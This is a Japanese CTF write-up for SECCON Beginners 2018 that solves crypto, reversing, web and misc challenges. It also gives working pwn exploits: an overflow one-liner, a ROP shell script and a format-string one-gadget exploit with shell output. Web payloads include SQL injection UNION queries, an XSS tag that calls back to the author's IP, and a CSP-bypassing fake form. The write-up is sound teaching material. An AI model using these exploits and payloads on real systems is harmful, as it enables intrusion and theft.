SECCON Beginners CTF 2018 Write-up
初心者向けを謳っているので簡単かと思いきや、なかなか難しかったし、面白かった。
全問解けて5位。
Crypto
[Warmup] Veni, vidi, vici
ファイルが3個。
Gur svefg cneg bs gur synt vf: pgs4o{a0zber
The first part of the flag is: ctf4b{n0more
{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
1個目は、ROT13。2個目は8文字ずらす。3個目は180度回転。
The first part of the flag is: ctf4b{n0more
The second part of the flag is: _cLass!cal_c
The third part of the flag is: Rypt0graphy}
ctf4b{n0more_cLass!cal_cRypt0graphy}
RSA is Power
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
200ビットちょっとのRSA。この程度のビット数なら、msieveで2分くらいで素因数分解できる。正攻法で解けば良い。
N
を素因数分解すると$299681192390656691733849646142066664329\times324144336644773773047359441106332937713$。
def exgcd(m, n):
if n>0:
y,x,d = exgcd(n, m%n)
return x, y-m/n*x, d
else:
return 1, 0, m
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
d = exgcd(E, (p-1)*(q-1))[0] % ((p-1)*(q-1))
P = pow(C, d, N)
print ("%x"%P).decode("hex")
ctf4b{5imple_rs4_1s_3asy_f0r_u}
Streaming
ストリーム暗号。seed
として64ビットの乱数を渡しているものの、seed % self.C
として使われ、C = 34607
。全てのseed
を試せば良い。
class Stream:
:
enc = open("encrypted", "rb").read()
for seed in range(34607):
g = Stream(seed)
flag = ""
for i in range(0, len(enc), 2):
a = ord(enc[i]) + ord(enc[i+1])*256
a ^= g.next()
flag += chr(a/256) + chr(a%256)
print seed, flag
$ python solve.py
32495 ctf4b{lcg-is-easily-predictable}
ctf4b{lcg-is-easily-predictable}
Well Known
この問題が面白かった。
$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
1234
r = 21183250010359952806345122199015360642338725222737198513375283413383256132564
s = 36619232422612186792893409826912120542431864274384435239388224437543194174673
Input your data (in hex):
5678
r = 52883516820858375951883658778458908842158291321833812874960538246118025719949
s = 38272579346732565596266925322623659649576880441070283686962472416114312432527
Input your data (in hex):
abcd
r = 42916661205479218449094254775545760042632974514727200508342979651155729786746
s = 73609086218427341451086400580034668272675991946938894384373008773538778902072
Bye.
最初はプログラムを見ても、いまいち何をやっているのか分からなかった。mod
がp
とq
の2通りあるし、使わない変数y
を計算しているし。
ElGamal署名だった。「二つの別々のメッセージに同じ乱数kで署名を行った場合、攻撃者は直接xを得ることが可能になる」と書かれている。具体的な方法はこの動画で説明されていた。要は、変数が一つ減ったことで代数的に解けるということだろうか。
問題のプログラムではk
は入力したdata
のSHA1ハッシュと乱数から計算され、m
は入力したdata
のSHA256ハッシュ。SHAtteredからPDFを持ってきて、先頭部分を切り出せば、k
が等しくm
が異なる入力に対する、r
とs
が手に入る。
$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s = 8978472509224036527515663531932899733739119377977868324278588823158777659676
Input your data (in hex):
255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s = 66078837985264647705939274457378061453221461868280624730167528869291273226897
Input your data (in hex):
00
r = 41587201935967282981765982098114759323903928399977527851983400789192853925147
s = 22357638860429299406335781378506993048043434793209548086385190575198656954841
Bye.
import hashlib
m1 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1"
m2 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1"
m1 = int(hashlib.sha256(m1.decode("hex")).hexdigest(), 16)
m2 = int(hashlib.sha256(m2.decode("hex")).hexdigest(), 16)
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s1 = 8978472509224036527515663531932899733739119377977868324278588823158777659676
s2 = 66078837985264647705939274457378061453221461868280624730167528869291273226897
def inv(x):
return pow(x, q-2, q)
k = (m1-m2)*inv(s1-s2)
x = (s1*k-m1)*inv(r)%q
print hex(x)[2:-1].decode("hex")
問題のスクリプトを読むとp
, q
, g
は繋ぐ度に生成されそうだけど、変わらないのはなぜだろう?
ctf4b{be_c4reful_w1th_k}
Pwn
[Warmup] condition
指定されたサーバーに繋いだら、こんな感じ。
Please tell me your name...hogehoge
Permission denied
「え、とっかかりが分からない。難しくない!?」となったけど、ちゃんと問題を見たらサーバーのプログラムが配布されていた。逆アセンブルすると、読み込みバッファの直後の変数が0xdeadbeef
ならフラグが表示されるようになっていた。
$ printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde\n' | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
BBS
こんな感じ。
$ nc pwn1.chall.beginners.seccon.jp 18373
Input Content : hogehoge
==============================
Sun May 27 02:49:24 JST 2018
hogehoge
==============================
ハンド逆アセンブル。
#include <stdio.h>
int main()
{
char buf[128];
printf("Input Content : ");
gets(buf);
puts("==============================\n");
system("date");
printf("%s\n\n==============================\n");
}
とてもわかりやすいスタックバッファーオーバーフローがある。gets
が読み込みを終了するのは\n
だけなので、NUL文字を書き込むこともできる。コード中にsystem
も用意してくれている。なので、簡単……かと思いきや、意外とハマった。x64だから、引数はスタックに積むのではなくrdi
で渡す。そもそも、どこかから/bin/sh
という文字列を持ってこないといけない。
ということで、Return Oriented Programmingでgets(書き込み可能なアドレスA); system(A)
を実行する。逆アセンブル結果には、pop rdi; ret
が見つからないけれど、gdb-pedaで、プログラムを実行中にdumprop
を叩くと出てきた。pop r15
にはpop rdi
が含まれていた。
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ...
0x40074f: ret
0x40065a: repz ret
0x4006f8: leave; ret
0x4005f0: pop rbp; ret
0x400763: pop rdi; ret
0x400762: pop r15; ret
0x4006f7: add cl,cl; ret
from socket import *
from time import *
from struct import *
from telnetlib import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 18373))
print s.recv(10000)
t = "a"*136
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400570) # gets
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400540) # system
t += "\n"
s.send(t)
s.send("/bin/sh\n")
t = Telnet()
t.sock = s
t.interact()
$ python solve.py
Input Content :
==============================
Sun May 27 03:13:04 JST 2018
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac@
==============================
ls -al
total 36
drwxr-x--- 2 root bbs 4096 May 19 01:16 .
drwxr-xr-x 7 root root 4096 May 19 01:16 ..
-rw-r----- 1 root bbs 220 Sep 1 2015 .bash_logout
-rw-r----- 1 root bbs 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root bbs 655 May 16 2017 .profile
-rwxr-x--- 1 root bbs 8872 May 19 01:16 bbs
-rw-r----- 1 root bbs 63 May 19 01:16 flag.txt
cat flag.txt
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}
exit
*** Connection closed by remote host ***
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}
Seczon
これが最後まで残った。
$ nc pwn1.chall.beginners.seccon.jp 21735
+---------------------+
| Seczon.com |
+---------------------+
|1) Add a item |
|2) Comment a item |
|3) Show a item |
|4) Delete a item |
+---------------------+
Action:
>> 1
Input item name
>> hoge
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> fuga
Confirmation
hoge
fuga
Action:
>> 3
Choose item ID
>> 0
hoge
fuga
初心者向けなのにヒープオーバーフロー……。に見えるが、コメントの入力で書式指定文字列攻撃ができた。
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> %x %x %x %x
Confirmation
a
23 f77705a0 56609cad f7770000
libcには、one-gadget RCEという、そこに制御を移せばシェルが起動するアドレスがある。
one-gadget RCE in Ubuntu 16.04 libc · うさぎ小屋
配布されたlibcを逆アセンブルして、↑のブログ記事の処理があるアドレスを探せば良い。ASLRでアドレスが変わるので、基準にするmain
関数からの戻り先(__libc_start_main
)も探す必要がある。PIEが有効だから、pltを参照することはできない。配布されたlibcでは、one-gadget RCEのアドレスが0x18637
で、戻り先が0x18637
。ハマったのがここで、_IO_proc_open
のほうは動かなかった。良く見たらeax=1
という条件が書かれていた。__strtold_nan
のほうは条件を満たしていた。
方針は、
-
%n$x
でスタック中のスタックのアドレスやlibcのアドレスをリークさせる - one-gadget RCEのアドレス、
printf
の引数のアドレス、comment
関数から戻るときのアドレスを計算する -
comment
関数から戻るときのアドレスをone-gadget RCEで上書きする
このプログラムはmain
関数から戻ることはないので、そこを上書きしても意味が無い。comment
関数から戻るときのアドレスを上書きするので一度に書き換えなければならず、コメントの文字数の制限がきついので大変だった。1バイトずつではなく2バイトずつ書き込んで何とかなった。
追記
些細なことですが、1-4以外の値を渡すとmain抜けますね "このプログラムはmain関数から戻ることはないので" https://t.co/BZqDw8zZwD
— mage(まげ) (@mage_1868) 2018年5月27日
なぜか「main
関数から戻ることはない」と思い込んでいた。main
関数からの戻り先を2回に分けて書き換えれば、printf
で大きな出力をしなくても、解けそう。
from socket import *
from time import *
from struct import *
from telnetlib import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 21735))
sleep(1)
print s.recv(1000)
s.send("1\n")
sleep(1)
print s.recv(1000)
s.send("hoge\n")
sleep(1)
print s.recv(1000)
s.send("2\n")
sleep(1)
print s.recv(1000)
s.send("0\n")
sleep(1)
print s.recv(1000)
s.send("%18$x %23$x\n")
sleep(1)
d = s.recv(1000)
print d
t = [int(x, 16) for x in d.split("\n")[2].split(" ")]
stack = t[0]
libc = t[1]
print "stack %08x" % stack
print "libc %08x" % libc
rce = libc - 0x18637 + 0x3ac69
print "rce %08x" % rce
s.send("2\n")
sleep(1)
print s.recv(1000)
s.send("0\n")
sleep(1)
print s.recv(1000)
attack = (
"___" +
pack("<I", stack-0xffffd5c8+0xffffd5bc) +
pack("<I", stack-0xffffd5c8+0xffffd5be) +
"%%%dc" % ((rce%0x10000 - 11)%0x10000) +
"%7$n" +
"%%%dc" % ((rce/0x10000 - rce%0x10000)%0x10000) +
"%8$n" +
"\n")
print len(attack), repr(attack)
s.send(attack)
t = Telnet()
t.sock = s
t.interact()
+---------------------+
| Seczon.com |
+---------------------+
|1) Add a item |
|2) Comment a item |
|3) Show a item |
|4) Delete a item |
+---------------------+
Action:
>>
Input item name
>>
Action:
>>
Choose item ID
>>
Input a comment
>>
Confirmation
hoge
ffd06478 f753c637
Action:
>>
stack ffd06478
libc f753c637
rce f755ec69
Choose item ID
>>
Input a comment
>>
33 '___ld\xd0\xffnd\xd0\xff%60510c%7$n%2796c%8$n\n'
Confirmation
hoge
___ldミdミ
:
ls -al
total 36
drwxr-x--- 2 root seczon 4096 May 19 01:16 .
drwxr-xr-x 7 root root 4096 May 19 01:16 ..
-rw-r----- 1 root seczon 220 Sep 1 2015 .bash_logout
-rw-r----- 1 root seczon 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root seczon 655 May 16 2017 .profile
-rw-r----- 1 root seczon 51 May 19 01:16 flag.txt
-rwxr-x--- 1 root seczon 11984 May 19 01:16 seczon
cat flag.txt
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
exit
*** Connection closed by remote host ***
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
Reversing
[Warmup] Simple Auth
逆アセンブルして読む。
ctf4b{rev3rsing_p4ssw0rd}
Activation
.NET。dnSpyが良い。
d = open("Activation.exe", "rb").read()[0x3b9c:0x3cf5]
d = list(d)
for i in range(len(d)):
d[i] = chr((ord(d[i]) ^ i ^ 170) & 0xff)
d = "".join(d)
print d
idx = [0, 15, 50, 85, 103, 111, 127, 130, 151, 156, 185, 249, 259, 270, 297, 334]
for i in range(len(idx)):
print idx[i], d[idx[i]:idx[i+1]] if i+1<len(idx) else d[idx[i]:]
で、暗号化されている文字列が復号できる。
アクティベーションコードを暗号化して、プログラム中の文字列と一致しているかをチェックしているので、逆にプログラム中の文字列を復号する。
from Crypto.Cipher import AES
E = "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5".decode("base64")
aes = AES.new("SECCON_BEGINNERS", AES.MODE_ECB, "CTF4B7E1"*2)
print repr(aes.decrypt(E))
ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}
crackme
逆アセンブルして解析。
K = [
0x9c,0x9e,0x8c,0x3e,0x68,0x64,0x7b,0x3f, 0x50,0x63,0x0a,0x7f,0x55,0x73,0x1e,0x64,
0x3c,0x55,0x7b,0x6e,0x60,0x5d,0x34,0x26, 0x26,0x65,0x6d,0x37,0x39,0x79,0x3f,0x28,
]
s = 0xff
for i in range(0, 16, 4):
K[i] ^= s
s ^= 0x15
K[i+1] ^= s
s |= 0x20
K[i+2] ^= s
s &= 0x0f
K[i+3] ^= s
for i in range(16, 32, 4):
K[i] ^= s
s &= 0x0a
K[i+1] ^= s
s /= 3
K[i+2] ^= s
s ^= 0x55
K[i+3] ^= s
print "".join(map(chr, K))
ctf4b{D0_y0u_l!k3_x86_4ssembly?}
Message from the future
2020年からメッセージが届きました。
0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759
メッセージはこのプログラムによって暗号化されています。
とのこと。
プログラムを動かしてみると、出力は、入力の対応する位置の文字と、実行時の年月のみに依存していることが分かる。2020年1月から12月まで日付を変えながら、ctf4b{
をエンコードして0f242e412b34
となる月を探す。8月だった。オリンピック? あとは、日付を2020年8月にして、!!!!!!!!...
、""""""""...
、########...
、…を暗号化し、それぞれの位置で暗号文の文字を探せば良い。Reversingは不要。暗号文が00
になると、なぜか以降の文字が出力されなくなるので、そこだけ文字を変えたりする。面倒。
ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}
Web
[Warmup] Greeting
Cookieにname=admin
を書き込むのが想定解っぽいけど、普通に入力欄にadmin
と入れて、(POSTではなくGETで)ページを再読込すればフラグが出てくる。
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}
Gimme your comment
ビギナーズカンパニーは皆様からのご意見をお待ちしています。
お問合わせの回答には特別なブラウザを使用しており、このブラウザのUser-Agent
が分かった方には特別に得点を差し上げます :-)
手元にサーバーを立ち上げて、問い合わせの本文に<img src="http://自分のIPアドレス">
を書き込む。
ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
SECCON Goods
XHRで読みこんでいる/items.php?minstock=0
にSQL Injectionがある。色々試すとMySQLらしい。0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--
で、flag
というテーブルがあることが分かる。0 UNION SELECT flag,2,3,4,5 FROM flag--
でフラグが出てくる。DBエンジンの推測より先にSELECT flag FROM flag
を試すべきだった。
ctf4b{cl4551c4l_5ql_1nj3c710n}
Gimme your comment REVENGE
脆弱性が直ってなくない?と思ったら、Content-Security-Policy: default-src 'self'
ヘッダが設定されていた。これでは手元のサーバーにリクエストが飛ばない。
偽のフォームを用意すれば良い。
<form action="http://自分のIPアドレス">
<input name="comment_content">
<button type="submit">
</form>
<!--
ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}
Misc
[Warmup] Welcome
フラグは公式IRCチャンネルのトピックにあります。
「近頃の若いもんは、コンテスト終了後にIRCで情報交換をしないからいかん」ということだろうか?w
ctf4b{welcome_to_seccon_beginners_ctf}
[Warmup] plain mail
「パスワードは別のメールでお送りします」というやつ。Wiresharkで開いて、Follow → TCP Streamで見やすくなる。
ctf4b{email_with_encrypted_file}
てけいさんえくすとりーむず
$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
821 * 851 = 698671
(Stage.2)
693 - 548 = 145
(Stage.3)
788 - 903 = 0
[!!] Wrong, see you.
300問答えるとフラグが出てくる。
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))
def read():
t = ""
while len(t)==0 or t[-1]!="\n":
t += s.recv(1)
return t[:-1]
for _ in range(11):
print read()
for _ in range(100):
print read()
q = s.recv(100)
print q
s.send("%s\n" % eval(q[:-3]))
print s.recv(100)
ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}
Find the messages
FTK Imagerを使った。
File → Add Evidence Item... → Image File。message_1_of_3.txtはbase64。message_2_of_3.pngはシグネチャ部分が潰されているので、先頭8バイトを89 50 4e 47 0d 0a 1a 0a
に書き換える。message_3_of_3.pdfはなぜか出てこないので、問題のイメージを%PDF
で検索して切り出した。
ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}